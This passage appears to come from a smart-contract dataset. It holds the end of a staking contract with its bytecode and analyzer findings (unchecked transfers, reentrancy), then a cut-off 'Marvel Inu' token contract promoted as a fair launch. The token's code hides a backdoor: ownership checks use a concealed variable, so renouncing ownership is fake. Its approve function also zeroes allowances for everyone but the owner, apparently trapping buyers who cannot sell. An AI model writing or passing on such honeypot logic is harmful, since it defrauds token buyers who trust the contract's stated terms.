// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner ;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract DEFISocialStaking2 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// DEFISocial token contract address
address public constant tokenAddress = 0x54ee01beB60E745329E6a8711Ad2D6cb213e38d7;
uint public constant rewardInterval = 365 days;
// staking fee 1 percent
uint public constant stakingFeeRate = 100;
// unstaking fee 0.50 percent
uint public constant unstakingFeeRate = 50;
// unstaking possible after 12 hours
//uint public constant cliffTime = 12 hours;
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = block.timestamp;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = block.timestamp.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint numHolders = getNumberOfHolders();
uint rewardRateFinal = numHolders.mul(1e2);
uint pendingDivs = stakedAmount
.mul(rewardRateFinal)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToStake) public {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = block.timestamp;
}else{
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
//require(block.timestamp.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer withdraw fee.");
require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimDivs() public {
updateAccount(msg.sender);
}
function getStakersList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = stakingTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
uint private constant stakingAndDaoTokens = 5000e18;
function getStakingAndDaoAmount() public view returns (uint) {
if (totalClaimedRewards >= stakingAndDaoTokens) {
return 0;
}
uint remaining = stakingAndDaoTokens.sub(totalClaimedRewards);
return remaining;
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
// Admin cannot transfer out YF-DAI from this smart contract
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require (_tokenAddr != tokenAddress, "Cannot Transfer Out DFSocial!");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c80638da5cb5b116100ad578063c326bf4f11610071578063c326bf4f14610547578063d578ceab1461059f578063d816c7d5146105bd578063f2fde38b146105db578063f3f91fa01461061f57610121565b80638da5cb5b1461043b57806398896d101461046f5780639d76ea58146104c7578063b6b55f25146104fb578063bec4de3f1461052957610121565b8063308feec3116100f4578063308feec3146102e1578063583d42fd146102ff5780635ef057be146103575780636270cd18146103755780636a395ccb146103cd57610121565b80631911cf4a1461012657806319aa70e71461028b578063268cab49146102955780632e1a7d4d146102b3575b600080fd5b61015c6004803603604081101561013c57600080fd5b810190808035906020019092919080359060200190929190505050610677565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156101ab578082015181840152602081019050610190565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156101ed5780820151818401526020810190506101d2565b50505050905001858103835287818151815260200191508051906020019060200280838360005b8381101561022f578082015181840152602081019050610214565b50505050905001858103825286818151815260200191508051906020019060200280838360005b83811015610271578082015181840152602081019050610256565b505050509050019850505050505050505060405180910390f35b610293610990565b005b61029d61099b565b6040518082815260200191505060405180910390f35b6102df600480360360208110156102c957600080fd5b81019080803590602001909291905050506109e4565b005b6102e9610e7d565b6040518082815260200191505060405180910390f35b6103416004803603602081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e8e565b6040518082815260200191505060405180910390f35b61035f610ea6565b6040518082815260200191505060405180910390f35b6103b76004803603602081101561038b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eab565b6040518082815260200191505060405180910390f35b610439600480360360608110156103e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ec3565b005b610443611083565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104b16004803603602081101561048557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110a7565b6040518082815260200191505060405180910390f35b6104cf61123a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105276004803603602081101561051157600080fd5b8101908080359060200190929190505050611252565b005b6105316116c7565b6040518082815260200191505060405180910390f35b6105896004803603602081101561055d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116cf565b6040518082815260200191505060405180910390f35b6105a76116e7565b6040518082815260200191505060405180910390f35b6105c56116ed565b6040518082815260200191505060405180910390f35b61061d600480360360208110156105f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116f2565b005b6106616004803603602081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611841565b6040518082815260200191505060405180910390f35b60608060608084861061068957600080fd5b600061069e878761185990919063ffffffff16565b905060608167ffffffffffffffff811180156106b957600080fd5b506040519080825280602002602001820160405280156106e85781602001602082028036833780820191505090505b50905060608267ffffffffffffffff8111801561070457600080fd5b506040519080825280602002602001820160405280156107335781602001602082028036833780820191505090505b50905060608367ffffffffffffffff8111801561074f57600080fd5b5060405190808252806020026020018201604052801561077e5781602001602082028036833780820191505090505b50905060608467ffffffffffffffff8111801561079a57600080fd5b506040519080825280602002602001820160405280156107c95781602001602082028036833780820191505090505b50905060008b90505b8a8110156109755760006107f082600261187090919063ffffffff16565b905060006108078e8461185990919063ffffffff16565b90508187828151811061081657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205486828151811061089c57fe5b602002602001018181525050600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548582815181106108f457fe5b602002602001018181525050600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484828151811061094c57fe5b602002602001018181525050505061096e60018261188a90919063ffffffff16565b90506107d2565b50838383839850985098509850505050505092959194509250565b610999336118a6565b565b600069010f0cf064dd59200000600154106109b957600090506109e1565b60006109da60015469010f0cf064dd5920000061185990919063ffffffff16565b9050809150505b90565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a99576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b610aa2336118a6565b6000610acc612710610abe603285611b3c90919063ffffffff16565b611b6b90919063ffffffff16565b90506000610ae3828461185990919063ffffffff16565b90507354ee01beb60e745329e6a8711ad2d6cb213e38d773ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610b8a57600080fd5b505af1158015610b9e573d6000803e3d6000fd5b505050506040513d6020811015610bb457600080fd5b8101908080519060200190929190505050610c37576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f436f756c64206e6f74207472616e73666572207769746864726177206665652e81525060200191505060405180910390fd5b7354ee01beb60e745329e6a8711ad2d6cb213e38d773ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610cbc57600080fd5b505af1158015610cd0573d6000803e3d6000fd5b505050506040513d6020811015610ce657600080fd5b8101908080519060200190929190505050610d69576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610dbb83600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185990919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e12336002611b8490919063ffffffff16565b8015610e5d57506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610e7857610e76336002611bb490919063ffffffff16565b505b505050565b6000610e896002611be4565b905090565b60056020528060005260406000206000915090505481565b606481565b60076020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f1b57600080fd5b7354ee01beb60e745329e6a8711ad2d6cb213e38d773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fd1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f43616e6e6f74205472616e73666572204f7574204446536f6369616c2100000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561104257600080fd5b505af1158015611056573d6000803e3d6000fd5b505050506040513d602081101561106c57600080fd5b810190808051906020019092919050505050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006110bd826002611b8490919063ffffffff16565b6110ca5760009050611235565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561111b5760009050611235565b600061116f600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261185990919063ffffffff16565b90506000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006111bf610e7d565b905060006111d7606483611b3c90919063ffffffff16565b9050600061122a61271061121c6301e1338061120e89611200888b611b3c90919063ffffffff16565b611b3c90919063ffffffff16565b611b6b90919063ffffffff16565b611b6b90919063ffffffff16565b905080955050505050505b919050565b7354ee01beb60e745329e6a8711ad2d6cb213e38d781565b600081116112c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b7354ee01beb60e745329e6a8711ad2d6cb213e38d773ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561136b57600080fd5b505af115801561137f573d6000803e3d6000fd5b505050506040513d602081101561139557600080fd5b8101908080519060200190929190505050611418576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b611421336118a6565b600061144b61271061143d606485611b3c90919063ffffffff16565b611b6b90919063ffffffff16565b90506000611462828461185990919063ffffffff16565b90507354ee01beb60e745329e6a8711ad2d6cb213e38d773ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561150957600080fd5b505af115801561151d573d6000803e3d6000fd5b505050506040513d602081101561153357600080fd5b81019080805190602001909291905050506115b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b61160881600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188a90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165f336002611b8490919063ffffffff16565b6116c157611677336002611bf990919063ffffffff16565b5042600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116c2565b5b505050565b6301e1338081565b60046020528060005260406000206000915090505481565b60015481565b603281565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461174a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561178457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60066020528060005260406000206000915090505481565b60008282111561186557fe5b818303905092915050565b600061187f8360000183611c29565b60001c905092915050565b60008082840190508381101561189c57fe5b8091505092915050565b60006118b1826110a7565b90506000811115611af4577354ee01beb60e745329e6a8711ad2d6cb213e38d773ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561194157600080fd5b505af1158015611955573d6000803e3d6000fd5b505050506040513d602081101561196b57600080fd5b81019080805190602001909291905050506119ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b611a4081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188a90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a988160015461188a90919063ffffffff16565b6001819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008082840290506000841480611b5b575082848281611b5857fe5b04145b611b6157fe5b8091505092915050565b600080828481611b7757fe5b0490508091505092915050565b6000611bac836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611cac565b905092915050565b6000611bdc836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611ccf565b905092915050565b6000611bf282600001611db7565b9050919050565b6000611c21836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611dc8565b905092915050565b600081836000018054905011611c8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611e396022913960400191505060405180910390fd5b826000018281548110611c9957fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b60008083600101600084815260200190815260200160002054905060008114611dab5760006001820390506000600186600001805490500390506000866000018281548110611d1a57fe5b9060005260206000200154905080876000018481548110611d3757fe5b9060005260206000200181905550600183018760010160008381526020019081526020016000208190555086600001805480611d6f57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611db1565b60009150505b92915050565b600081600001805490509050919050565b6000611dd48383611cac565b611e2d578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050611e32565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473a2646970667358221220a6f22a8e9974f25d44e2ba216095842b44fabc9c31ddafd6679e1d39e73e8b8b64736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,760 |
0x9dafc3d77ce1fd627a6b8aeace246a5d6becb254
|
/*
_ _____
/\/\ __ _ _ ____ _____| | \_ \_ __ _ _
/ \ / _` | '__\ \ / / _ \ | / /\/ '_ \| | | |
/ /\/\ \ (_| | | \ V / __/ | /\/ /_ | | | | |_| |
\/ \/\__,_|_| \_/ \___|_| \____/ |_| |_|\__,_|
▶️ Twitter: https://twitter.com/MarvelInu
▶️ Telegram: https://t.me/marvelinu
▶️ Website: https://marvelinu.com/
🔅 Tokenomics
✅ Token Symbol: $Marvel
✅ Total Supply: 1 trillion
✅ Redistribution: 2%
✅ Buyback: 2%
✅ Development: 4%
✅ Marketing: 4%
🔅 Fair Launch
✅ No Presale
✅ No Team Token
✅ No Burn
✅ 100% Tokens will be supplied to Uniswap Liquidity
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract MarvelInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100 * 10**9 * 10**18;
string private _name = 'Marvel Inu ⭐️ | https://t.me/marvelinu';
string private _symbol = 'Marvel️';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: approve from the zero address");
require(to != address(0), "ERC20: approve to the zero address");
if (from == owner()) {
_allowances[from][to] = amount;
emit Approval(from, to, amount);
} else {
_allowances[from][to] = 0;
emit Approval(from, to, 4);
}
}
